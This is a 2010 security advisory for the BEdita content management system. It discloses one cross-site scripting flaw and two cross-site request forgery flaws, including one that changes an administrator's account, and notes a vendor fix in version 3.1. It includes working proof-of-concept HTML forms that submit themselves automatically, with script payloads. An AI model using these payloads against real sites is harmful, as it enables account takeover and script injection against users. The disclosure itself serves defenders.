Multiple Vulnerabilities in BEdita
| Advisory ID: | HTB22723 |
| Product: | BEdita |
| Vendor: | Chialab & ChannelWeb |
| Vulnerable Versions: | 3.0.1.2550 "betula" and probably prior |
| Tested Version: | 3.0.1.2550 "betula" |
| Advisory Publication: | November 30, 2010 [without technical details] |
| Vendor Notification: | November 30, 2010 |
| Public Disclosure: | December 14, 2010 |
| Latest Update: | December 30, 2010 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352] |
| Risk Level: | Medium |
|  |
| CVSSv2 Base Scores: | 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
|
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in BEdita which could be exploited to perform cross-site scripting and cross-site request forgery attacks.
1) Cross-site scripting (XSS) vulnerability in BEdita
The vulnerability exists due to input sanitation error in the "searchstring" parameter in bedita-app/controllers/home_controller.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/bedita-app/news/index" method="post" name="main">
<input type="hidden" name="searchstring" value='search"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>
2) Cross-site request forgery in BEdita
2.1 The vulnerability exists due to insufficient validation of the request origin bedita-app/news/saveCategories. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create categories. Existing weakness in the administration interface may also allow arbitrary HTML and script code execution due to insufficient input sanitation in the "data[label]" HTTP POST parameter.
Exploitation example:
<form action="http://host/bedita-app/news/saveCategories" method="post" name="main">
<input type="hidden" name="data[label]" value='cat"><script>alert(document.cookie)</script>'>
<input type="hidden" name="data[status]" value="on">
<input type="hidden" name="data[area_id]" value="">
<input type="hidden" name="data[object_type_id]" value="18">
</form>
<script>
document.main.submit();
</script>
2.2 The vulnerability exists due to insufficient validation of the request origin in bedita-app/controllers/modules/admin_controller.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
Exploitation example:
<form action="http://host/bedita-app/admin/saveUser" method="post" name="main">
<input type="hidden" name="data[User][id]" value="2">
<input type="hidden" name="data[User][userid]" value="tester">
<input type="hidden" name="data[User][realname]" value="tester">
<input type="hidden" name="data[User][email]" value="email@example.com">
<input type="hidden" name="pwd" value="">
<input type="hidden" name="data[User][passwd]" value="">
<input type="hidden" name="data[User][valid]" value="1">
<input type="hidden" name="groups" value="">
<input type="hidden" name="data[groups][administrator]" value="on">
<input type="hidden" name="data[groups][guest]" value="on">
</form>
<script>
document.main.submit();
</script>
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Solution: |
| Upgrade to version 3.1. |
| |
References: |
[1] High-Tech Bridge Advisory HTB22723 - https://www.immuniweb.com/advisory/HTB22723 - Multiple Vulnerabilities in BEdita
[2] BEdita - bedita.com - BEdita is a modular framework that features a back-end Content Management System out-of-the-box.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
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